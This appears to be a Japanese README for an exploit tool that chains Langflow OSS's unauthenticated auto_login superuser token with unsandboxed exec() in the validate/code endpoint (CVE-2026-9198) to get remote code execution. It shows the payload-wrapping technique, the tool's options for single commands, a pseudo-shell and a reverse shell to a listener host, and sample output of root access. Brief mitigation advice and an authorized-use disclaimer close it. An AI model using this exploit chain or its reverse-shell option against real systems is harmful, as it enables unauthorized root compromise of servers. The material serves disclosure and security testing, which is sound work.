
Langflow OSS向けの未認証RCEエクスプロイトで、auto_login JWTバイパスとvalidate/code exec()を連鎖させ、リモートコマンド実行とリバースシェルを達成します
IBM Langflow OSS (1.0.0 – 1.10.0) のデフォルトデプロイ環境における認証なしリモートコード実行。以下の 2 つの脆弱性を連鎖させる:
GET /api/v1/auto_login は、AUTO_LOGIN が有効な場合(Langflow < 1.5 でのデフォルト)、認証情報なしの任意の呼び出し元に SUPERUSER JWT を発行する。POST /api/v1/validate/code はユーザー提供の Python コードをサンドボックスなしで exec() に渡す。これらを組み合わせることで(CVE-2026-9198)、認証なしの攻撃者は Langflow サービスユーザー(多くの場合 root)としてコード実行を達成する。
/api/v1/auto_login からスーパーユーザーベアラートークンを要求する(認証なし)。
ペイロードを /api/v1/validate/code に送信する。エンドポイントはコードを「検証」するために exec() を実行する。Python は 定義時に関数のデフォルト引数値を評価する ため、ペイロードは関数のデフォルト引数にラップされる:
def _v(a=exec('<payload>')): pass
コマンド実行のために、ペイロードはコマンド出力をメッセージとする例外を発生させ、エンドポイントはそれをレスポンス(function.errors[])に反映する。
./exploit.py -t <target> [options]
-t, --target target host/IP (or full URL) (required)
-p, --port Langflow port (default 7860)
-c, --cmd run a single shell command, print output
--shell interactive pseudo-shell (each line runs via the RCE)
--lhost reverse-shell listener IP
--lport reverse-shell listener port (default 4444)
-k, --token use this bearer token (skip auto_login)
--timeout HTTP timeout in seconds (default 20)
--no-banner suppress the banner
-h, --help show help
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install は不要)AUTO_LOGIN が有効な場合のみ動作する(Langflow < 1.5 ではデフォルト。>= 1.5 では明示的に LANGFLOW_AUTO_LOGIN=true が必要)。auto_login がトークンを返さない場合、この経路ではターゲットは悪用不可 — 有効なトークンがあれば -k で指定する。function.errors[] に返される。stderr は stdout に統合されるため、失敗したコマンドでもエラーが表示される。root の場合(systemd/Docker-as-root での裸の langflow run で一般的)、これは直接のホスト root となる。validate/code は信頼できない入力を exec() してはならず、auto_login はスーパーユーザートークンを発行してはならない。LANGFLOW_AUTO_LOGIN=false を設定し、実際のスーパーユーザー資格情報を構成する。root として実行しない。このプロジェクトは、許可されたセキュリティテストおよび教育目的のみで公開されています。所有していない、または明示的なテスト許可がないシステムに対して使用しないでください。作者は誤用に対する責任を負いません。